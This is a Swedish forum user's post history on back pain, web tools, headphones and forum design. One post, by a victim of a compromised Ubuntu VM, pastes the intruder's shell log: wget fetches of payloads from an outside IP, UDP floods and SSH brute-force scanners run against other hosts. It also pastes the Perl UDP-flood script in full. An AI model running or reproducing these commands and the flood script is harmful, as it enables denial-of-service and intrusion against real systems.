Inlägg

Inlägg som JesperA har skrivit i forumet
Av JesperA

12x4? Gäller det första uppnådda dimension så man behöver skepparexamen för att få framföra en 20x0.5 meter stor kanot? (inte för att det finns någon sådan men principiell fråga alltså)

Av JesperA
Skrivet av VSD.9024:

Kanske kan vara dina ryggmärgsförträngningar som spökar? Bör gå att provocera fram om du har besvär så ofta. Aktiv inflammation i bröstkorgen som vid ankyloserande spondylit kan göra väldigt ont, men borde inte få dig att falla ihop (förstår det som att det inte är av smärta).

Angående risken för permanent skada är den liten om du inte har konstanta besvär. Förträngningar som riskerar ge permanent nervskada trycker nämligen på nerverna hela tiden, inte bara i enskilda lägen. Din AS kan ge ökad benbildning, och där är det viktigt att sköta sjukgymnastiken rigoröst (rörligheten brukar även följas via reumatologkliniken). Diskbråck och spinal stenos kan man inte arbeta så mycket med preventivt, utom rörlighetsträning och att neka sina vänner flytthjälp!

Tack för svaret igen

Ja precis, förr i tiden (innan Humira) hade jag periodvis ont i bröstkorgen, det har jag inte längre, har numera väldigt lite inflammation, förra provtagningen så hade jag en sänka på 3 & snabbsänka på runt 30 om jag minns rätt, eller om det var tvärt om, så inflammationen är ju väldigt låg just nu så den biten orsakar inga besvär just nu så ja, bör ju vara någon slags förträngning. Det gör väldigt ont då jag faller ihop, men är inte av smärtan som jag faller ihop (som jag känner det iaf), för ett par år sedan när jag blev liggandes & inte kunde ta mig upp så fick jag en morfinspruta av ambulanspersonalen som skrapade upp mig från backen, väl uppe på benen så var jag ju 100% smärtfri tack vare morfinet MEN ändå så föll jag ihop när jag försökte gå igen, denna gången helt smärtfri, det kändes lite märkligt för jag bara gick normalt sen föll jag ihop i fritt fall utan att kroppen ens gjorde ett försök att "hålla emot", så både med & utan smärta så är det något som "stänger av" kroppen.

Japp, jag gör så gott jag kan när det gäller sjukgymnastiken men det är svårt att få någon form av regelbundhet (inte ens ett ord men) i träningen då oavsett hur lite jag rör mig så ökar dessa "avstängingshugg", är jag sängliggandes hela dagen & bara går det absolut minsta möjliga, tex till toan & tillbaka till sängen direkt & köket sen tillbaka i sängen så får jag inga hugg alls under dagen, men tex cykla 200 meter till ICA, gå 100 meter i butiken, sen cykla hem igen så får jag dessa hugg i ryggen kanske var 10-20:e steg eller böjning med ryggen jag gör under flera timmar framåt, så det krävs ganska lite för att "trigga" det.

Iaf, jag känner att jag behöver mer hjälp än det jag fått av min allmänläkare, så, vilken typ av läkare skall man be om att få träffa & se om denna skulle kunna hjälpa mig lite mer än en allmänläkare?

Av JesperA
Skrivet av VSD.9024:

I teorin ja, men i praktiken nej. Diskbråck som är asymtomatiska i liggande ses, liksom oftast diskbuktningar. Så mjuka diskar skulle dessutom ge följdskador i form av förkalkningar som kunde ses.

Ok gött, tack för svaret

Följdfråga wall of text för den som orkar

Detta är lite störande, för 5-6 år sedan så gjorde jag en MR för att jag hade haft sjukt ont i ryggen i 2 år, man hittade då intraspongiösa diskherneringar, smal spinalkanal, liten durasäck & lite andra defekter, 2 år senare röntgen av SI led som givetvis var inflammerade (AS), iaf, har tagit Humira för min AS i 1 år nu & den är grym, kan gå upp ur sängen direkt på morgonen numera, har i princip ingen molande värk eller något MEN i flera år har jag regelbundet fått "strålsmärtor"/hugg eller vafan man skall kalla det, det känns ungefär som när man slår armbågen i bordskanten (är det en nerv man träffar då tro), fast 100ggr värre, denna strålsmärtan "utsöndras" från ryggen & blockerar alla rörelsesignaler från utstrålningspunken, så tex när jag går så går jag relativt normalt, lite haltande, men med jämna mellanrum så får jag dessa hugg vilket då gör att jag faller ihop, blir i princip tillfälligt förlamad från punkten & neråt, ibland faller jag ända ner till backen & ibland bara några centimeter innan musklerna blir återkopplade. Jag har sagt detta till min läkare säkert 30ggr dom senaste 4 åren men han har alltid vägrat med någon bullshit anledning (har kontaktat chefen för vårdcentralen också men hon vidarebefodrar bara mina kommentarer till samma läkare, varpå denne återigen såklart säger samma sak som alltid), dessa hugg kommer flera gånger om dagen så det är ganska störande.

Så, ja, sjukt irriterande att en allmänläkare "blockerar" fortsatt utredning, hade varit gott med en röntgen till nu 5-6 år sedan för att se hur defekterna har fortskridit, min AS gick obehandlad i flera år så vem vet, kan ju ha hunnits förkalkats endel så det trycker & klämmer på nerverna.

Jag vill ju få en utredning så man vet ifall det finns något som dom skall göra innan ryggen går bortom all räddning & försämrar mitt liv permanent utan förbättringsmöjligheter, detta skulle man ju gjort för flera år sedan men nu har jag sjuk panik/ångest att det kanske redan är för sent & gett alldeles för permanent skada.

Så vafan skall man göra när både läkare och chefen för läkarna vägrar lyssna på det man säger?

Av JesperA

Har undrat lite om röntgars orientation, dom allra flesta så är patienten i liggande läge.

MEN, låt säga att patienten har en sjukdom som gör att diskarna i ryggen är mjukare än normalt, kanske 50% av normala diskar som gör att vid stående & sittande så klämmer kotorna mjukdelarna runt skelettet, tex klämmer en nerv som går från ryggraden & utåt, eller närliggande muskel, patienten nämner då för läkare att den upplever en klämkänsla i ryggen & får remiss till röntgen.

Vid liggande läge så kanske inte patientens diskar kläms ihop utan vid liggande kanske diskarna ser fullt normala ut trots att dom är alldeles för mjuka.

Detta är en patient men skulle detta, eller andra scenarion/åkommor kunna missas av röntgen tack vare att patienten röntgas i liggande läge istället för stående?

Av JesperA

Ja, SketchUp är ju riktigt smidigt.

Sen finns ju http://www.homestyler.com/designer också, riktigt smidigt det med, innehåller en hel del möbler & annat skräp, kanske inte just dom du har eller skall köpa men ja, tillräckligt mycket för att kunna få en uppskattning om hur rummet kommer att se ut efter inredning osv osv osv osv

Av JesperA
Av JesperA
Skrivet av Batwoman:

Ni är ett gäng märkliga (och fega) människor..varför kan man inte ha en bild å sig själv? Vad är problemet?

Skärp dig, patetiskt att du klagar på andra samtidigt som du är lika anonym som dom du klagar på

Av JesperA

Skön bakgrund, har du länk?

Av JesperA
Skrivet av jocke92:

Jag tycker om första, men mycket på nätet går mot den sista känns det som.

Tack för svaret. Ja jag gillar första också, men dom andra är ju lättare att implementera, eller ja, nr 2 & 3 är ganska lättare att få responsiva (eller snarare mer enhetligt utseendemässigt & funktionsmässigt på dom flesta upplösningarna), speciellt nr 3 & nu när fler & fler besöker hemsidor på deras mobila enheter så ja, nr 1 är ju skönast för folk som har hög upplösning men funkar skitdåligt på tex telefoner. Nr 1 ändrar ju layout & funktionalitet HELT mellan säg en 1440p skärm & en mobilskärm.

Så svårt val detta

Av JesperA

Elgiganten, åtminstonde i Borås, hade 20% rabatt på Philips Fidelio X2 så jag kunde inte hålla fingrarna i styr, strax under 1600kr, är ju inte mycket att fundera över

http://jespera.se/media/large1280/2016/03/1459097698_5826_1.jpg

Har inte "vågat" kolla om mitt par är Gibson eller Woox, kanske inte finns några Woox kvar i hyllorna längre, men mitt par låter riktigt bra, var ju lite väl mycket oro för ett tag sedan, men äh, så jag fick ett bra par lurar iaf

Av JesperA

Ok, har inte arbetat något på forumet alls sen senast, har dock suttit & funderat på lite andra lösning, så nu är jag uppe i 3 olika möjligheter när det gäller forumet, eller ja, 4st är det ju om man räknar med det traditionella forumet.

1) Ja, det är ju det som jag skrev om i första inlägget.

2) Egentligen inte jätteavlägset #1..........................................................äh, svårt att beskriva, jag gjorde en videosnutt istället

Varning: Min röst är vidrig & jag hatar vara med på "film"/video, bland det värsta jag vet, så låter för jävligt.

Men vore kul att höra feedback från er som åtminstone är en gnutta intresserad av ett nytt/annat typ av forum.

Kritisera gärna, jag kanske är lite för insnöad i detta just nu, behövs forum ens förbättras, funkar kanske redan tillräckligt bra för dom flesta så detta projektet kanske är meningslöst men jag kan ändå inte riktigt släppa att det går att förbättra/snabba upp navigeringen av forum, jag är lite allergisk mot att behöva hoppa fram & tillbaka bland trådar hela tiden.

Här här filmen, ni har blivit varnade

Edit Förstora gärna YouTube videon, blev visst rätt svårt att se när filmen är inklämd i Swec

Designen behövs det inte så mycket kritik på egentligen, det kan jag ta senare om projektet blir av, utan vill mest ha feedback/kritik på själva konceptet/ufromningen/funktionaliteten osv.

Intresset har ju varit relativt svalt i denna tråden hittills men vore tacksam om ni hade lust att ge lite feedback, kommentarer, tankar osv.

Tack tack

Av JesperA

Vad hände med PA329Q?

Japp, jag har varit sugen på att skaffa PA329Q ända sedan den visades upp snart för 1 år sedan, ryktena sa att den skulle börja säljas runt hösten 2015 men nepp, det verkar inte så, vill inte köpa PA328Q då PA239Q hade uppdateras ganska rejält.

Så Asus, vad hände med skärmen? Gav ni upp?

Av JesperA

Absolut märkligaste pagineringen jag sett i hela mitt liv, hela konceptet är fel, speciellt att köra en subquery endast för att få fram raderna OCH sen köra en "between" på resultatet.

Gör bara en vanlig query med LIMIT & offset

http://www.w3schools.com/php/php_mysql_select_limit.asp

Använd $rowsPerPage på samma sätt du gjort nu fast i LIMIT sektionen istället

Av JesperA
Skrivet av Aene:

Något borde väl ha varit uppe om de har kunnat komma åt den utifrån.
De verkar ha försökt använda din VM till att scanna och hacka andra datorer. Finns nog en viss risk att din ISP kan få lite mindre roliga meddelanden från ägarna av dessa.

Den enda gången den KAN ha varit öppen är när jag tog med mig VM:en upp till stugan i några dagar som precis har fått fiber, där, av någon anledning har ISP:en vägrat ge oss tillgång till routerns inställningar så har ingen aning om hur "öppen" routern är där

Av JesperA

Ubuntu VM hackad, men...

...dom verkar inte gjort något roligt ändå?

Hade somnat ifrån TV serierna jag kollade på igårkväll, vaknade upp strax efter midnatt då serierna laggade så fruktansvärt, streamade via min NAS, brukar ha rätt dålig WIFI på just den datorn jag kollade ifrån så tänkte inte det var något märkligt. Testade nätverket, var sjukt långsamt, testade internet, var nästan helt blockat, men brydde mig återigen inte så mycket för mitt internet brukar vara instabilt också

MEN nu i morse när jag vaknade igen så såg jag att en av mina Ubuntu VM:s såg ut såhär:

http://f.cl.ly/items/0D2t1g430x3B0O1A1W0J/lel.png

Blev lite orolig, testade mina 3 andra Ubuntu VM:s men det var bara min minst "värdefulla" VM som blivit hackad & ingen annan dator i mitt närverk var attackerad, vid första anblick.

Här är hela terminal loggen (varning: spoiler taggarna kan innehålla lång text):

274 cat /proc/cpuinfo
275 passwd
276 sudo su
277 wget http://112.196.51.235/test.py
278 ls
279 chmod +x *
280 ./test.py
281 python test.py
282 wget http://112.196.51.235/enzo
283 ls
284 perl enzo
285 clear
286 perl enzo 93.113.169.222 53 0
287 rm -f enzo
288 clear
289 ls
290 ifconfig
291 wget http://112.196.51.235/gosh.tar.gz
292 wget http://112.196.51.235/gosh.tgz
293 tar -zxvf gosh.tgz
294 cd gosh
295 touch bios.txt
296 chmod +x *
297 screen ./go.sh 37
298 sudo apt-get install screen
299 ./go.sh 37
300 cd
301 clear
302 exit
303 cat /proc/cpuinfo
304 wget http://112.196.51.235/udp.pl
305 clear
306 perl udp.pl 93.113.169.222 80 999 999
307 rm -f udp.pl
308 cd Deskop
309 ls
310 cd Deskop
311 cd /Desktop
312 cd Desktop
313 bash
314 cd bash
315 clear
316 wget http://112.196.51.235/bash/a
317 wget http://112.196.51.235/bash/a2
318 wget http://112.196.51.235/bashmass
319 wget http://112.196.51.235/bash/mass
320 wget http://112.196.51.235/bash/mass2
321 wget http://112.196.51.235/bash/passfile
322 wget http://112.196.51.235/bash/pscan
323 wget http://112.196.51.235/bash/pscan2
324 wget http://112.196.51.235/bash/scanssh
325 wget http://112.196.51.235/bash/trueusers.txt
326 clear
327 nano trueusers.txt
328 clear
329 chmod +x *
330 ./a2 64.64
331 sudo apt-get install openssh-server openssh-client
332 apt-cache search openssh
333 sudo apt-get install openssh-server
334 clear
335 ifconfig
336 wget http://112.196.51.235/bssh2/mass
337 cd bssh2
338 cd Desktop
339 cd bssh2
340 wget http://112.196.51.235/bssh2/mass
341 wget http://112.196.51.235/bssh2/pass.txt
342 wget http://112.196.51.235/bssh2/scan_user
343 wget http://112.196.51.235/bssh2/scan_root
344 wget http://112.196.51.235/bssh2/screen
345 wget http://112.196.51.235/bssh2/sss
346 wget http://112.196.51.235/bssh2/ss
347 wget http://112.196.51.235/bssh2/ssh2
348 chmod +x *
349 ./scan_user 93.114
350 ./scan_root 93.114
351 clear
352 cat /proc/cpuinfo
353 exit
354 ls
355 cat -proc-cpuinfo
356 nmap
357 history
358 screen +
359 screen +r
360 cat /proc/cpuinfo
361 ps aux
362 killall -9 perl
363 cd ++
364 cd ..
365 sudo +s
366 history +s
367 history /s
368 history -
369 history -s
370 exit
371 redis-cli MONITOR
372 sudo adduser test
373 cat /proc/cpuinfo
374 free -mt
375 clear
376 cat /proc/cpuinfo
377 clear
378 ls
379 perl test/py
380 perl test.py
381 clear
382 wget arhive112.tk/msq
383 clear
384 ls
385 nano msq
386 clear
387 ls
388 cd gosh
389 clear
390 ls
391 chmod +x *
392 ./go.sh 45
393 clear
394 cd ]
395 cd
396 clear
397 ifcofnig
398 ifconfig
399 clear
400 w
401 ls
402 perl msq 78.97.61.122

Dold text

Perl MSG

#!/usr/bin/perl use Socket; $ARGC=@ARGV; my ($ip,$port,$size,$time); $ip=$ARGV[0]; $port=$ARGV[0]; $time=$ARGV[0]; socket(crazy, PF_INET, SOCK_DGRAM, 17); $iaddr = inet_aton("$ip"); printf "[0;36m [Attack Started]====>> [#RooT] \n"; if ($ARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets; } if ($ARGV[1] !=0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto packets; } if ($ARGV[1] !=0 && $ARGV[2] ==0) { goto packets; } if ($ARGV[1] ==0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto randpackets; } packets: for (;;) { $size=$rand x $rand x $rand; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } randpackets: for (;;) { $size=$rand x $rand x $rand; $port=(rand 65500) +1; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }

Dold text

Test.py

#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2012-2015 Matt Martz # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import re import sys import math import signal import socket import timeit import platform import threading __version__ = '0.3.4' # Some global variables we use user_agent = None source = None shutdown_event = None scheme = 'http' # Used for bound_interface socket_socket = socket.socket try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: from xml.dom import minidom as DOM ET = None # Begin import game to handle Python 2 and Python 3 try: from urllib2 import urlopen, Request, HTTPError, URLError except ImportError: from urllib.request import urlopen, Request, HTTPError, URLError try: from httplib import HTTPConnection, HTTPSConnection except ImportError: e_http_py2 = sys.exc_info() try: from http.client import HTTPConnection, HTTPSConnection except ImportError: e_http_py3 = sys.exc_info() raise SystemExit('Your python installation is missing required HTTP ' 'client classes:\n\n' 'Python 2: %s\n' 'Python 3: %s' % (e_http_py2[1], e_http_py3[1])) try: from Queue import Queue except ImportError: from queue import Queue try: from urlparse import urlparse except ImportError: from urllib.parse import urlparse try: from urlparse import parse_qs except ImportError: try: from urllib.parse import parse_qs except ImportError: from cgi import parse_qs try: from hashlib import md5 except ImportError: from md5 import md5 try: from argparse import ArgumentParser as ArgParser except ImportError: from optparse import OptionParser as ArgParser try: import builtins except ImportError: def print_(*args, **kwargs): """The new-style print function taken from https://pypi.python.org/pypi/six/ """ fp = kwargs.pop("file", sys.stdout) if fp is None: return def write(data): if not isinstance(data, basestring): data = str(data) fp.write(data) want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: if isinstance(sep, unicode): want_unicode = True elif not isinstance(sep, str): raise TypeError("sep must be None or a string") end = kwargs.pop("end", None) if end is not None: if isinstance(end, unicode): want_unicode = True elif not isinstance(end, str): raise TypeError("end must be None or a string") if kwargs: raise TypeError("invalid keyword arguments to print()") if not want_unicode: for arg in args: if isinstance(arg, unicode): want_unicode = True break if want_unicode: newline = unicode("\n") space = unicode(" ") else: newline = "\n" space = " " if sep is None: sep = space if end is None: end = newline for i, arg in enumerate(args): if i: write(sep) write(arg) write(end) else: print_ = getattr(builtins, 'print') del builtins class SpeedtestCliServerListError(Exception): """Internal Exception class used to indicate to move on to the next URL for retrieving speedtest.net server details """ def bound_socket(*args, **kwargs): """Bind socket to a specified source IP address""" global source sock = socket_socket(*args, **kwargs) sock.bind((source, 0)) return sock def distance(origin, destination): """Determine distance between 2 sets of [lat,lon] in km""" lat1, lon1 = origin lat2, lon2 = destination radius = 6371 # km dlat = math.radians(lat2 - lat1) dlon = math.radians(lon2 - lon1) a = (math.sin(dlat / 2) * math.sin(dlat / 2) + math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) * math.sin(dlon / 2) * math.sin(dlon / 2)) c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) d = radius * c return d def build_user_agent(): """Build a Mozilla/5.0 compatible User-Agent string""" global user_agent if user_agent: return user_agent ua_tuple = ( 'Mozilla/5.0', '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]), 'Python/%s' % platform.python_version(), '(KHTML, like Gecko)', 'speedtest-cli/%s' % __version__ ) user_agent = ' '.join(ua_tuple) return user_agent def build_request(url, data=None, headers={}): """Build a urllib2 request object This function automatically adds a User-Agent header to all requests """ if url[0] == ':': schemed_url = '%s%s' % (scheme, url) else: schemed_url = url headers['User-Agent'] = user_agent return Request(schemed_url, data=data, headers=headers) def catch_request(request): """Helper function to catch common exceptions encountered when establishing a connection with a HTTP/HTTPS request """ try: uh = urlopen(request) return uh, False except (HTTPError, URLError, socket.error): e = sys.exc_info()[1] return None, e class FileGetter(threading.Thread): """Thread class for retrieving a URL""" def __init__(self, url, start): self.url = url self.result = None self.starttime = start threading.Thread.__init__(self) def run(self): self.result = [0] try: if (timeit.default_timer() - self.starttime) <= 10: request = build_request(self.url) f = urlopen(request) while 1 and not shutdown_event.isSet(): self.result.append(len(f.read(10240))) if self.result[-1] == 0: break f.close() except IOError: pass def downloadSpeed(files, quiet=False): """Function to launch FileGetter threads and calculate download speeds""" start = timeit.default_timer() def producer(q, files): for file in files: thread = FileGetter(file, start) thread.start() q.put(thread, True) if not quiet and not shutdown_event.isSet(): sys.stdout.write('.') sys.stdout.flush() finished = [] def consumer(q, total_files): while len(finished) < total_files: thread = q.get(True) while thread.isAlive(): thread.join(timeout=0.1) finished.append(sum(thread.result)) del thread q = Queue(6) prod_thread = threading.Thread(target=producer, args=(q, files)) cons_thread = threading.Thread(target=consumer, args=(q, len(files))) start = timeit.default_timer() prod_thread.start() cons_thread.start() while prod_thread.isAlive(): prod_thread.join(timeout=0.1) while cons_thread.isAlive(): cons_thread.join(timeout=0.1) return (sum(finished) / (timeit.default_timer() - start)) class FilePutter(threading.Thread): """Thread class for putting a URL""" def __init__(self, url, start, size): self.url = url chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' data = chars * (int(round(int(size) / 36.0))) self.data = ('content1=%s' % data[0:int(size) - 9]).encode() del data self.result = None self.starttime = start threading.Thread.__init__(self) def run(self): try: if ((timeit.default_timer() - self.starttime) <= 10 and not shutdown_event.isSet()): request = build_request(self.url, data=self.data) f = urlopen(request) f.read(11) f.close() self.result = len(self.data) else: self.result = 0 except IOError: self.result = 0 def uploadSpeed(url, sizes, quiet=False): """Function to launch FilePutter threads and calculate upload speeds""" start = timeit.default_timer() def producer(q, sizes): for size in sizes: thread = FilePutter(url, start, size) thread.start() q.put(thread, True) if not quiet and not shutdown_event.isSet(): sys.stdout.write('.') sys.stdout.flush() finished = [] def consumer(q, total_sizes): while len(finished) < total_sizes: thread = q.get(True) while thread.isAlive(): thread.join(timeout=0.1) finished.append(thread.result) del thread q = Queue(6) prod_thread = threading.Thread(target=producer, args=(q, sizes)) cons_thread = threading.Thread(target=consumer, args=(q, len(sizes))) start = timeit.default_timer() prod_thread.start() cons_thread.start() while prod_thread.isAlive(): prod_thread.join(timeout=0.1) while cons_thread.isAlive(): cons_thread.join(timeout=0.1) return (sum(finished) / (timeit.default_timer() - start)) def getAttributesByTagName(dom, tagName): """Retrieve an attribute from an XML document and return it in a consistent format Only used with xml.dom.minidom, which is likely only to be used with python versions older than 2.5 """ elem = dom.getElementsByTagName(tagName)[0] return dict(list(elem.attributes.items())) def getConfig(): """Download the speedtest.net configuration and return only the data we are interested in """ request = build_request('://www.speedtest.net/speedtest-config.php') uh, e = catch_request(request) if e: print_('Could not retrieve speedtest.net configuration: %s' % e) sys.exit(1) configxml = [] while 1: configxml.append(uh.read(10240)) if len(configxml[-1]) == 0: break if int(uh.code) != 200: return None uh.close() try: try: root = ET.fromstring(''.encode().join(configxml)) config = { 'client': root.find('client').attrib, 'times': root.find('times').attrib, 'download': root.find('download').attrib, 'upload': root.find('upload').attrib} except AttributeError: # Python3 branch root = DOM.parseString(''.join(configxml)) config = { 'client': getAttributesByTagName(root, 'client'), 'times': getAttributesByTagName(root, 'times'), 'download': getAttributesByTagName(root, 'download'), 'upload': getAttributesByTagName(root, 'upload')} except SyntaxError: print_('Failed to parse speedtest.net configuration') sys.exit(1) del root del configxml return config def closestServers(client, all=False): """Determine the 5 closest speedtest.net servers based on geographic distance """ urls = [ '://www.speedtest.net/speedtest-servers-static.php', '://c.speedtest.net/speedtest-servers-static.php', '://www.speedtest.net/speedtest-servers.php', '://c.speedtest.net/speedtest-servers.php', ] errors = [] servers = {} for url in urls: try: request = build_request(url) uh, e = catch_request(request) if e: errors.append('%s' % e) raise SpeedtestCliServerListError serversxml = [] while 1: serversxml.append(uh.read(10240)) if len(serversxml[-1]) == 0: break if int(uh.code) != 200: uh.close() raise SpeedtestCliServerListError uh.close() try: try: root = ET.fromstring(''.encode().join(serversxml)) elements = root.getiterator('server') except AttributeError: # Python3 branch root = DOM.parseString(''.join(serversxml)) elements = root.getElementsByTagName('server') except SyntaxError: raise SpeedtestCliServerListError for server in elements: try: attrib = server.attrib except AttributeError: attrib = dict(list(server.attributes.items())) d = distance([float(client['lat']), float(client['lon'])], [float(attrib.get('lat')), float(attrib.get('lon'))]) attrib['d'] = d if d not in servers: servers[d] = [attrib] else: servers[d].append(attrib) del root del serversxml del elements except SpeedtestCliServerListError: continue # We were able to fetch and parse the list of speedtest.net servers if servers: break if not servers: print_('Failed to retrieve list of speedtest.net servers:\n\n %s' % '\n'.join(errors)) sys.exit(1) closest = [] for d in sorted(servers.keys()): for s in servers[d]: closest.append(s) if len(closest) == 5 and not all: break else: continue break del servers return closest def getBestServer(servers): """Perform a speedtest.net latency request to determine which speedtest.net server has the lowest latency """ results = {} for server in servers: cum = [] url = '%s/latency.txt' % os.path.dirname(server['url']) urlparts = urlparse(url) for i in range(0, 3): try: if urlparts[0] == 'https': h = HTTPSConnection(urlparts[1]) else: h = HTTPConnection(urlparts[1]) headers = {'User-Agent': user_agent} start = timeit.default_timer() h.request("GET", urlparts[2], headers=headers) r = h.getresponse() total = (timeit.default_timer() - start) except (HTTPError, URLError, socket.error): cum.append(3600) continue text = r.read(9) if int(r.status) == 200 and text == 'test=test'.encode(): cum.append(total) else: cum.append(3600) h.close() avg = round((sum(cum) / 6) * 1000, 3) results[avg] = server fastest = sorted(results.keys())[0] best = results[fastest] best['latency'] = fastest return best def ctrl_c(signum, frame): """Catch Ctrl-C key sequence and set a shutdown_event for our threaded operations """ global shutdown_event shutdown_event.set() raise SystemExit('\nCancelling...') def version(): """Print the version""" raise SystemExit(__version__) def speedtest(): """Run the full speedtest.net test""" global shutdown_event, source, scheme shutdown_event = threading.Event() signal.signal(signal.SIGINT, ctrl_c) description = ( 'Command line interface for testing internet bandwidth using ' 'speedtest.net.\n' '------------------------------------------------------------' '--------------\n' 'https://github.com/sivel/speedtest-cli') parser = ArgParser(description=description) # Give optparse.OptionParser an `add_argument` method for # compatibility with argparse.ArgumentParser try: parser.add_argument = parser.add_option except AttributeError: pass parser.add_argument('--bytes', dest='units', action='store_const', const=('byte', 1), default=('bit', 8), help='Display values in bytes instead of bits. Does ' 'not affect the image generated by --share') parser.add_argument('--share', action='store_true', help='Generate and provide a URL to the speedtest.net ' 'share results image') parser.add_argument('--simple', action='store_true', help='Suppress verbose output, only show basic ' 'information') parser.add_argument('--list', action='store_true', help='Display a list of speedtest.net servers ' 'sorted by distance') parser.add_argument('--server', help='Specify a server ID to test against') parser.add_argument('--mini', help='URL of the Speedtest Mini server') parser.add_argument('--source', help='Source IP address to bind to') parser.add_argument('--timeout', default=10, type=int, help='HTTP timeout in seconds. Default 10') parser.add_argument('--secure', action='store_true', help='Use HTTPS instead of HTTP when communicating ' 'with speedtest.net operated servers') parser.add_argument('--version', action='store_true', help='Show the version number and exit') options = parser.parse_args() if isinstance(options, tuple): args = options[0] else: args = options del options # Print the version and exit if args.version: version() socket.setdefaulttimeout(args.timeout) # Pre-cache the user agent string build_user_agent() # If specified bind to a specific IP address if args.source: source = args.source socket.socket = bound_socket if args.secure: scheme = 'https' if not args.simple: print_('Retrieving speedtest.net configuration...') try: config = getConfig() except URLError: print_('Cannot retrieve speedtest configuration') sys.exit(1) if not args.simple: print_('Retrieving speedtest.net server list...') if args.list or args.server: servers = closestServers(config['client'], True) if args.list: serverList = [] for server in servers: line = ('%(id)4s) %(sponsor)s (%(name)s, %(country)s) ' '[%(d)0.2f km]' % server) serverList.append(line) print_('\n'.join(serverList).encode('utf-8', 'ignore')) sys.exit(0) else: servers = closestServers(config['client']) if not args.simple: print_('Testing from %(isp)s (%(ip)s)...' % config['client']) if args.server: try: best = getBestServer(filter(lambda x: x['id'] == args.server, servers)) except IndexError: print_('Invalid server ID') sys.exit(1) elif args.mini: name, ext = os.path.splitext(args.mini) if ext: url = os.path.dirname(args.mini) else: url = args.mini urlparts = urlparse(url) try: request = build_request(args.mini) f = urlopen(request) except: print_('Invalid Speedtest Mini URL') sys.exit(1) else: text = f.read() f.close() extension = re.findall('upload_extension: "([^"]+)"', text.decode()) if not extension: for ext in ['php', 'asp', 'aspx', 'jsp']: try: request = build_request('%s/speedtest/upload.%s' % (args.mini, ext)) f = urlopen(request) except: pass else: data = f.read().strip() if (f.code == 200 and len(data.splitlines()) == 1 and re.match('size=[0-9]', data)): extension = [ext] break if not urlparts or not extension: print_('Please provide the full URL of your Speedtest Mini server') sys.exit(1) servers = [{ 'sponsor': 'Speedtest Mini', 'name': urlparts[1], 'd': 0, 'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]), 'latency': 0, 'id': 0 }] try: best = getBestServer(servers) except: best = servers[0] else: if not args.simple: print_('Selecting best server based on latency...') best = getBestServer(servers) if not args.simple: print_(('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: ' '%(latency)s ms' % best).encode('utf-8', 'ignore')) else: print_('Ping: %(latency)s ms' % best) sizes = [350, 500, 750, 1000, 1500, 2000, 2500, 3000, 3500, 4000] urls = [] for size in sizes: for i in range(0, 4): urls.append('%s/random%sx%s.jpg' % (os.path.dirname(best['url']), size, size)) if not args.simple: print_('Testing download speed', end='') dlspeed = downloadSpeed(urls, args.simple) if not args.simple: print_() print_('Download: %0.2f M%s/s' % ((dlspeed / 1000 / 1000) * args.units[1], args.units[0])) sizesizes = [int(.25 * 1000 * 1000), int(.5 * 1000 * 1000)] sizes = [] for size in sizesizes: for i in range(0, 25): sizes.append(size) if not args.simple: print_('Testing upload speed', end='') ulspeed = uploadSpeed(best['url'], sizes, args.simple) if not args.simple: print_() print_('Upload: %0.2f M%s/s' % ((ulspeed / 1000 / 1000) * args.units[1], args.units[0])) if args.share and args.mini: print_('Cannot generate a speedtest.net share results image while ' 'testing against a Speedtest Mini server') elif args.share: dlspeedk = int(round((dlspeed / 1000) * 8, 0)) ping = int(round(best['latency'], 0)) ulspeedk = int(round((ulspeed / 1000) * 8, 0)) # Build the request to send results back to speedtest.net # We use a list instead of a dict because the API expects parameters # in a certain order apiData = [ 'download=%s' % dlspeedk, 'ping=%s' % ping, 'upload=%s' % ulspeedk, 'promo=', 'startmode=%s' % 'pingselect', 'recommendedserverid=%s' % best['id'], 'accuracy=%s' % 1, 'serverid=%s' % best['id'], 'hash=%s' % md5(('%s-%s-%s-%s' % (ping, ulspeedk, dlspeedk, '297aae72')) .encode()).hexdigest()] headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'} request = build_request('://www.speedtest.net/api/api.php', data='&'.join(apiData).encode(), headers=headers) f, e = catch_request(request) if e: print_('Could not submit results to speedtest.net: %s' % e) sys.exit(1) response = f.read() code = f.code f.close() if int(code) != 200: print_('Could not submit results to speedtest.net') sys.exit(1) qsargs = parse_qs(response.decode()) resultid = qsargs.get('resultid') if not resultid or len(resultid) != 1: print_('Could not submit results to speedtest.net') sys.exit(1) print_('Share results: %s://www.speedtest.net/result/%s.png' % (scheme, resultid[0])) def main(): try: speedtest() except KeyboardInterrupt: print_('\nCancelling...') if __name__ == '__main__': main() # vim:ts=4:sw=4:expandtab

Dold text

Ser inte något roligt där, ser inte direkt någon förstörelse eller något, men vet ju inte vad alla inladdade script gör heller men allt på VM:en verkar helt orörd.

Iaf, har återställt VM:en till en backup som gjordes någon timme innan den blev kompromissad, MEN, varför var just denna VM:en? Var inget speciellt med denna, den var direkt inte "öppen" mot internet (ingen port redirect eller något i routern), hade flera andra VM i nätverket & massa andra datorer.

Hade inte heller öppnat upp root eller lagt till något nytt lösenord för root. Första loggen i terminalen var "cat /proc/cpuinfo" & sen passwd, sen hade personen full "su" rättigheter, så, jao, någon rolig exploit som användes eller något?

Så, någon annan som råkat ut för samma "attack", vad var syftet? Några tips hur jag kan täppa igenom hålet igen eller några andra funderingar & förslag ni har, skriv gärna.

Av JesperA
Skrivet av jocke92:

